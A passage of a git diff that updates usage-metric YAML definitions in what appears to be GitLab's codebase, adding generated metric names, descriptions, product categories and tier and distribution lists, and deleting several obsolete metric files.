+++ b/config/metrics/counts_28d/20210216175411_clusters_applications_knative.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters_applications_knative.status IN (3, 5))'>_clusters_<with>_<adjective describing: '(clusters_applications_knative.status IN (3, 5))'>_clusters_applications_knative"
diff --git a/config/metrics/counts_28d/20210216175413_clusters_management_project.yml b/config/metrics/counts_28d/20210216175413_clusters_management_project.yml
index 6763750f777..5310c4db557 100644
--- a/config/metrics/counts_28d/20210216175413_clusters_management_project.yml
+++ b/config/metrics/counts_28d/20210216175413_clusters_management_project.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters.management_project_id IS NOT NULL)'>_clusters"
diff --git a/config/metrics/counts_28d/20210216175415_clusters_disabled.yml b/config/metrics/counts_28d/20210216175415_clusters_disabled.yml
index cd23c062279..8d1b8dfabd6 100644
--- a/config/metrics/counts_28d/20210216175415_clusters_disabled.yml
+++ b/config/metrics/counts_28d/20210216175415_clusters_disabled.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters.enabled = FALSE)'>_clusters"
diff --git a/config/metrics/counts_28d/20210216175417_clusters_enabled.yml b/config/metrics/counts_28d/20210216175417_clusters_enabled.yml
index 559067cb044..2d2d438022a 100644
--- a/config/metrics/counts_28d/20210216175417_clusters_enabled.yml
+++ b/config/metrics/counts_28d/20210216175417_clusters_enabled.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters.enabled = TRUE)'>_clusters"
diff --git a/config/metrics/counts_28d/20210216175419_clusters_platforms_gke.yml b/config/metrics/counts_28d/20210216175419_clusters_platforms_gke.yml
index a4b3eafb813..0c3e410d1c4 100644
--- a/config/metrics/counts_28d/20210216175419_clusters_platforms_gke.yml
+++ b/config/metrics/counts_28d/20210216175419_clusters_platforms_gke.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters.provider_type = 1 AND (cluster_providers_gcp.status IN (3)) AND clusters.enabled = TRUE)'>_clusters_<with>_<adjective describing: '(clusters.provider_type = 1 AND (cluster_providers_gcp.status IN (3)) AND clusters.enabled = TRUE)'>_cluster_providers_gcp"
diff --git a/config/metrics/counts_28d/20210216175420_clusters_platforms_eks.yml b/config/metrics/counts_28d/20210216175420_clusters_platforms_eks.yml
index c329736221f..bc0295b7789 100644
--- a/config/metrics/counts_28d/20210216175420_clusters_platforms_eks.yml
+++ b/config/metrics/counts_28d/20210216175420_clusters_platforms_eks.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters.provider_type = 2 AND (cluster_providers_aws.status IN (3)) AND clusters.enabled = TRUE)'>_clusters_<with>_<adjective describing: '(clusters.provider_type = 2 AND (cluster_providers_aws.status IN (3)) AND clusters.enabled = TRUE)'>_cluster_providers_aws"
diff --git a/config/metrics/counts_28d/20210216175422_clusters_platforms_user.yml b/config/metrics/counts_28d/20210216175422_clusters_platforms_user.yml
index c1ae40b9533..9dd10c58008 100644
--- a/config/metrics/counts_28d/20210216175422_clusters_platforms_user.yml
+++ b/config/metrics/counts_28d/20210216175422_clusters_platforms_user.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters.provider_type = 0 AND clusters.enabled = TRUE)'>_clusters"
diff --git a/config/metrics/counts_28d/20210216175424_instance_clusters_disabled.yml b/config/metrics/counts_28d/20210216175424_instance_clusters_disabled.yml
index b28301a9ff0..30122b3d997 100644
--- a/config/metrics/counts_28d/20210216175424_instance_clusters_disabled.yml
+++ b/config/metrics/counts_28d/20210216175424_instance_clusters_disabled.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters.enabled = FALSE AND clusters.cluster_type = 1)'>_clusters"
diff --git a/config/metrics/counts_28d/20210216175426_instance_clusters_enabled.yml b/config/metrics/counts_28d/20210216175426_instance_clusters_enabled.yml
index 182cbcdea07..12007dd131d 100644
--- a/config/metrics/counts_28d/20210216175426_instance_clusters_enabled.yml
+++ b/config/metrics/counts_28d/20210216175426_instance_clusters_enabled.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters.enabled = TRUE AND clusters.cluster_type = 1)'>_clusters"
diff --git a/config/metrics/counts_28d/20210216175428_group_clusters_disabled.yml b/config/metrics/counts_28d/20210216175428_group_clusters_disabled.yml
index 7dd10ffcc1a..5a43620e0f5 100644
--- a/config/metrics/counts_28d/20210216175428_group_clusters_disabled.yml
+++ b/config/metrics/counts_28d/20210216175428_group_clusters_disabled.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters.enabled = FALSE AND clusters.cluster_type = 2)'>_clusters"
diff --git a/config/metrics/counts_28d/20210216175430_group_clusters_enabled.yml b/config/metrics/counts_28d/20210216175430_group_clusters_enabled.yml
index b49046220a2..443beb46493 100644
--- a/config/metrics/counts_28d/20210216175430_group_clusters_enabled.yml
+++ b/config/metrics/counts_28d/20210216175430_group_clusters_enabled.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters.enabled = TRUE AND clusters.cluster_type = 2)'>_clusters"
diff --git a/config/metrics/counts_28d/20210216175432_project_clusters_disabled.yml b/config/metrics/counts_28d/20210216175432_project_clusters_disabled.yml
index 65cfbc57e82..cc04c03244c 100644
--- a/config/metrics/counts_28d/20210216175432_project_clusters_disabled.yml
+++ b/config/metrics/counts_28d/20210216175432_project_clusters_disabled.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters.enabled = FALSE AND clusters.cluster_type = 3)'>_clusters"
diff --git a/config/metrics/counts_28d/20210216175434_project_clusters_enabled.yml b/config/metrics/counts_28d/20210216175434_project_clusters_enabled.yml
index dd17be3d69a..319fcec57c7 100644
--- a/config/metrics/counts_28d/20210216175434_project_clusters_enabled.yml
+++ b/config/metrics/counts_28d/20210216175434_project_clusters_enabled.yml
@@ -17,3 +17,4 @@ tier:
- premium
- ultimate
skip_validation: true
+name: "count_distinct_user_id_from_<adjective describing: '(clusters.enabled = TRUE AND clusters.cluster_type = 3)'>_clusters"
diff --git a/config/metrics/counts_28d/20210216181139_issues.yml b/config/metrics/counts_28d/20210216181139_issues.yml
index 6412720342f..46494caaff7 100644
--- a/config/metrics/counts_28d/20210216181139_issues.yml
+++ b/config/metrics/counts_28d/20210216181139_issues.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.plan.issues
-description:
+description: Count of MAU creating issues
product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181141_notes.yml b/config/metrics/counts_28d/20210216181141_notes.yml
index d33a4c6ef9c..0245705cd8e 100644
--- a/config/metrics/counts_28d/20210216181141_notes.yml
+++ b/config/metrics/counts_28d/20210216181141_notes.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.plan.notes
-description:
+description: Count of MAU commenting on an issuable
product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181143_projects.yml b/config/metrics/counts_28d/20210216181143_projects.yml
index 36da5428dce..6dd113bb25a 100644
--- a/config/metrics/counts_28d/20210216181143_projects.yml
+++ b/config/metrics/counts_28d/20210216181143_projects.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.plan.projects
-description:
+description: Count of MAU creating projects
product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
+product_stage: plan
+product_group: group::project management
+product_category: projects
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181145_todos.yml b/config/metrics/counts_28d/20210216181145_todos.yml
index 224711942e8..89378b26bcd 100644
--- a/config/metrics/counts_28d/20210216181145_todos.yml
+++ b/config/metrics/counts_28d/20210216181145_todos.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.plan.todos
-description:
+description: Count of MAU creating todos
product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181200_label_lists.yml b/config/metrics/counts_28d/20210216181200_label_lists.yml
index 1c2ad77bdbb..768692dc39a 100644
--- a/config/metrics/counts_28d/20210216181200_label_lists.yml
+++ b/config/metrics/counts_28d/20210216181200_label_lists.yml
@@ -1,16 +1,18 @@
---
key_path: usage_activity_by_stage_monthly.plan.label_lists
-description:
+description: Count of MAU creating label lists on Boards
product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
+product_stage: plan
+product_group: group::project management
+product_category: boards
value_type: number
status: data_available
time_frame: 28d
-data_source:
+data_source: database
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181201_milestone_lists.yml b/config/metrics/counts_28d/20210216181201_milestone_lists.yml
deleted file mode 100644
index 8a83f9c8930..00000000000
--- a/config/metrics/counts_28d/20210216181201_milestone_lists.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: usage_activity_by_stage_monthly.plan.milestone_lists
-description:
-product_section: dev
-product_stage:
-product_group: group::plan
-product_category:
-value_type: number
-status: data_available
-time_frame: 28d
-data_source:
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181304_g_project_management_issue_title_changed_monthly.yml b/config/metrics/counts_28d/20210216181304_g_project_management_issue_title_changed_monthly.yml
index f7216281bf3..85406b7bf4f 100644
--- a/config/metrics/counts_28d/20210216181304_g_project_management_issue_title_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181304_g_project_management_issue_title_changed_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181308_g_project_management_issue_description_changed_monthly.yml b/config/metrics/counts_28d/20210216181308_g_project_management_issue_description_changed_monthly.yml
index a5bc2a9dad6..4fe2a89c7f9 100644
--- a/config/metrics/counts_28d/20210216181308_g_project_management_issue_description_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181308_g_project_management_issue_description_changed_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml b/config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml
new file mode 100644
index 00000000000..6065495beb2
--- /dev/null
+++ b/config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml
@@ -0,0 +1,19 @@
+---
+key_path: redis_hll_counters.issues_edit.g_project_management_issue_assignee_changed_monthly
+description: Count of MAU changing issue assignees
+product_section: dev
+product_stage: plan
+product_group: group::project management
+product_category: issue_tracking
+value_type: number
+status: data_available
+time_frame: 28d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
+
diff --git a/config/metrics/counts_28d/20210216181315_g_project_management_issue_made_confidential_monthly.yml b/config/metrics/counts_28d/20210216181315_g_project_management_issue_made_confidential_monthly.yml
index 0f5ab506a14..10f8355d374 100644
--- a/config/metrics/counts_28d/20210216181315_g_project_management_issue_made_confidential_monthly.yml
+++ b/config/metrics/counts_28d/20210216181315_g_project_management_issue_made_confidential_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181319_g_project_management_issue_made_visible_monthly.yml b/config/metrics/counts_28d/20210216181319_g_project_management_issue_made_visible_monthly.yml
index 21170e50629..1f45e47cec2 100644
--- a/config/metrics/counts_28d/20210216181319_g_project_management_issue_made_visible_monthly.yml
+++ b/config/metrics/counts_28d/20210216181319_g_project_management_issue_made_visible_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181323_g_project_management_issue_created_monthly.yml b/config/metrics/counts_28d/20210216181323_g_project_management_issue_created_monthly.yml
index 9236d49731d..de02fe709f7 100644
--- a/config/metrics/counts_28d/20210216181323_g_project_management_issue_created_monthly.yml
+++ b/config/metrics/counts_28d/20210216181323_g_project_management_issue_created_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181326_g_project_management_issue_closed_monthly.yml b/config/metrics/counts_28d/20210216181326_g_project_management_issue_closed_monthly.yml
index 01f3cadf87a..9ac69cadc00 100644
--- a/config/metrics/counts_28d/20210216181326_g_project_management_issue_closed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181326_g_project_management_issue_closed_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181330_g_project_management_issue_reopened_monthly.yml b/config/metrics/counts_28d/20210216181330_g_project_management_issue_reopened_monthly.yml
index 0234b46775b..e47c00a0f88 100644
--- a/config/metrics/counts_28d/20210216181330_g_project_management_issue_reopened_monthly.yml
+++ b/config/metrics/counts_28d/20210216181330_g_project_management_issue_reopened_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181334_g_project_management_issue_label_changed_monthly.yml b/config/metrics/counts_28d/20210216181334_g_project_management_issue_label_changed_monthly.yml
index d72fa3135bd..75a530e5e6e 100644
--- a/config/metrics/counts_28d/20210216181334_g_project_management_issue_label_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181334_g_project_management_issue_label_changed_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml b/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml
index 85e66885ef5..76bdbaf4401 100644
--- a/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181341_g_project_management_issue_iteration_changed_monthly.yml b/config/metrics/counts_28d/20210216181341_g_project_management_issue_iteration_changed_monthly.yml
deleted file mode 100644
index 1a0600278a5..00000000000
--- a/config/metrics/counts_28d/20210216181341_g_project_management_issue_iteration_changed_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.issues_edit.g_project_management_issue_iteration_changed_monthly
-description: Count of MAU changing an issue's iteration
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category: issue_tracking
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181345_g_project_management_issue_weight_changed_monthly.yml b/config/metrics/counts_28d/20210216181345_g_project_management_issue_weight_changed_monthly.yml
deleted file mode 100644
index 6d94de26e26..00000000000
--- a/config/metrics/counts_28d/20210216181345_g_project_management_issue_weight_changed_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.issues_edit.g_project_management_issue_weight_changed_monthly
-description: Count of MAU changing an issue's weight
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category: issue_tracking
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181348_g_project_management_issue_cross_referenced_monthly.yml b/config/metrics/counts_28d/20210216181348_g_project_management_issue_cross_referenced_monthly.yml
index 1f28ae1b252..f2f96164882 100644
--- a/config/metrics/counts_28d/20210216181348_g_project_management_issue_cross_referenced_monthly.yml
+++ b/config/metrics/counts_28d/20210216181348_g_project_management_issue_cross_referenced_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181352_g_project_management_issue_moved_monthly.yml b/config/metrics/counts_28d/20210216181352_g_project_management_issue_moved_monthly.yml
index a8e6e0e75a1..684a8d31157 100644
--- a/config/metrics/counts_28d/20210216181352_g_project_management_issue_moved_monthly.yml
+++ b/config/metrics/counts_28d/20210216181352_g_project_management_issue_moved_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181356_g_project_management_issue_related_monthly.yml b/config/metrics/counts_28d/20210216181356_g_project_management_issue_related_monthly.yml
index 89f74760440..0058a6eece9 100644
--- a/config/metrics/counts_28d/20210216181356_g_project_management_issue_related_monthly.yml
+++ b/config/metrics/counts_28d/20210216181356_g_project_management_issue_related_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181400_g_project_management_issue_unrelated_monthly.yml b/config/metrics/counts_28d/20210216181400_g_project_management_issue_unrelated_monthly.yml
index 6700f5d2763..c735eb37ab2 100644
--- a/config/metrics/counts_28d/20210216181400_g_project_management_issue_unrelated_monthly.yml
+++ b/config/metrics/counts_28d/20210216181400_g_project_management_issue_unrelated_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181403_g_project_management_issue_marked_as_duplicate_monthly.yml b/config/metrics/counts_28d/20210216181403_g_project_management_issue_marked_as_duplicate_monthly.yml
index 2023d5900c1..25dd972385c 100644
--- a/config/metrics/counts_28d/20210216181403_g_project_management_issue_marked_as_duplicate_monthly.yml
+++ b/config/metrics/counts_28d/20210216181403_g_project_management_issue_marked_as_duplicate_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181407_g_project_management_issue_locked_monthly.yml b/config/metrics/counts_28d/20210216181407_g_project_management_issue_locked_monthly.yml
index 41b7b6b1737..5a9b44afff2 100644
--- a/config/metrics/counts_28d/20210216181407_g_project_management_issue_locked_monthly.yml
+++ b/config/metrics/counts_28d/20210216181407_g_project_management_issue_locked_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml b/config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml
index 7be27b6fa65..ab09a496a88 100644
--- a/config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml
+++ b/config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml
@@ -1,6 +1,6 @@
---
key_path: redis_hll_counters.issues_edit.g_project_management_issue_unlocked_monthly
-description: Count of MAU marking an issue as blocked or blocked by
+description: Count of MAU unlocking an issue
product_section: dev
product_stage: plan
product_group: group::project management
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181414_g_project_management_issue_added_to_epic_monthly.yml b/config/metrics/counts_28d/20210216181414_g_project_management_issue_added_to_epic_monthly.yml
deleted file mode 100644
index 8a69fafc2b2..00000000000
--- a/config/metrics/counts_28d/20210216181414_g_project_management_issue_added_to_epic_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.issues_edit.g_project_management_issue_added_to_epic_monthly
-description: Count of MAU adding an issue to an epic
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category: issue_tracking
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181416_g_project_management_issue_removed_from_epic_monthly.yml b/config/metrics/counts_28d/20210216181416_g_project_management_issue_removed_from_epic_monthly.yml
deleted file mode 100644
index 4ae21d8852e..00000000000
--- a/config/metrics/counts_28d/20210216181416_g_project_management_issue_removed_from_epic_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.issues_edit.g_project_management_issue_removed_from_epic_monthly
-description: Count of MAU removing an issue from an epic
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category: issue_tracking
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181420_g_project_management_issue_changed_epic_monthly.yml b/config/metrics/counts_28d/20210216181420_g_project_management_issue_changed_epic_monthly.yml
deleted file mode 100644
index a269681d4dd..00000000000
--- a/config/metrics/counts_28d/20210216181420_g_project_management_issue_changed_epic_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.issues_edit.g_project_management_issue_changed_epic_monthly
-description: Count of MAU changing the epic on an issue
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category: issue_tracking
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181424_g_project_management_issue_designs_added_monthly.yml b/config/metrics/counts_28d/20210216181424_g_project_management_issue_designs_added_monthly.yml
index 29c0f3ef7d8..d57db3474a3 100644
--- a/config/metrics/counts_28d/20210216181424_g_project_management_issue_designs_added_monthly.yml
+++ b/config/metrics/counts_28d/20210216181424_g_project_management_issue_designs_added_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181427_g_project_management_issue_designs_modified_monthly.yml b/config/metrics/counts_28d/20210216181427_g_project_management_issue_designs_modified_monthly.yml
index 30925229543..5447112e8fb 100644
--- a/config/metrics/counts_28d/20210216181427_g_project_management_issue_designs_modified_monthly.yml
+++ b/config/metrics/counts_28d/20210216181427_g_project_management_issue_designs_modified_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181431_g_project_management_issue_designs_removed_monthly.yml b/config/metrics/counts_28d/20210216181431_g_project_management_issue_designs_removed_monthly.yml
index cd346847a02..76612a2fdc7 100644
--- a/config/metrics/counts_28d/20210216181431_g_project_management_issue_designs_removed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181431_g_project_management_issue_designs_removed_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181435_g_project_management_issue_due_date_changed_monthly.yml b/config/metrics/counts_28d/20210216181435_g_project_management_issue_due_date_changed_monthly.yml
index 0b0a7dc3b8b..4b6c2dadbcf 100644
--- a/config/metrics/counts_28d/20210216181435_g_project_management_issue_due_date_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181435_g_project_management_issue_due_date_changed_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181438_g_project_management_issue_time_estimate_changed_monthly.yml b/config/metrics/counts_28d/20210216181438_g_project_management_issue_time_estimate_changed_monthly.yml
index ee67b5db3c1..13bfaaac98b 100644
--- a/config/metrics/counts_28d/20210216181438_g_project_management_issue_time_estimate_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181438_g_project_management_issue_time_estimate_changed_monthly.yml
@@ -4,13 +4,15 @@ description: Count of MAU changing an issue time estimate
product_section: dev
product_stage: plan
product_group: group::project management
-product_category: issue_tracking
+product_category: time_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181442_g_project_management_issue_time_spent_changed_monthly.yml b/config/metrics/counts_28d/20210216181442_g_project_management_issue_time_spent_changed_monthly.yml
index fa356f4e3d6..09cb3fdfbf7 100644
--- a/config/metrics/counts_28d/20210216181442_g_project_management_issue_time_spent_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181442_g_project_management_issue_time_spent_changed_monthly.yml
@@ -4,13 +4,15 @@ description: Count of MAU recording time spent on an issue
product_section: dev
product_stage: plan
product_group: group::project management
-product_category: issue_tracking
+product_category: time_tracking
value_type: number
status: data_available
time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181446_g_project_management_issue_comment_added_monthly.yml b/config/metrics/counts_28d/20210216181446_g_project_management_issue_comment_added_monthly.yml
index 6c1d26be10f..2a62d55940f 100644
--- a/config/metrics/counts_28d/20210216181446_g_project_management_issue_comment_added_monthly.yml
+++ b/config/metrics/counts_28d/20210216181446_g_project_management_issue_comment_added_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181450_g_project_management_issue_comment_edited_monthly.yml b/config/metrics/counts_28d/20210216181450_g_project_management_issue_comment_edited_monthly.yml
index 390401de267..a6c7e3d5c90 100644
--- a/config/metrics/counts_28d/20210216181450_g_project_management_issue_comment_edited_monthly.yml
+++ b/config/metrics/counts_28d/20210216181450_g_project_management_issue_comment_edited_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181453_g_project_management_issue_comment_removed_monthly.yml b/config/metrics/counts_28d/20210216181453_g_project_management_issue_comment_removed_monthly.yml
index 78f08de6f22..feacebfdd47 100644
--- a/config/metrics/counts_28d/20210216181453_g_project_management_issue_comment_removed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181453_g_project_management_issue_comment_removed_monthly.yml
@@ -11,6 +11,8 @@ time_frame: 28d
data_source: redis_hll
distribution:
- ce
+- ee
tier:
- free
-skip_validation: true
+- premium
+- ultimate
diff --git a/config/metrics/counts_28d/20210216181457_g_project_management_issue_health_status_changed_monthly.yml b/config/metrics/counts_28d/20210216181457_g_project_management_issue_health_status_changed_monthly.yml
deleted file mode 100644
index c2c986ca5ef..00000000000
--- a/config/metrics/counts_28d/20210216181457_g_project_management_issue_health_status_changed_monthly.yml
+++ /dev/null
@@ -1,16 +0,0 @@
----
-key_path: redis_hll_counters.issues_edit.g_project_management_issue_health_status_changed_monthly
-description: Count of MAU changing the health status on an issue
-product_section: dev
-product_stage: plan
-product_group: group::project management
-product_category: issue_tracking
-value_type: number
-status: data_available
-time_frame: 28d
-data_source: redis_hll
-distribution:
-- ce
-tier:
-- free
-skip_validation: true
diff --git a/config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml b/config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml
index 5e2ddaa0ec3..69159563527 100644
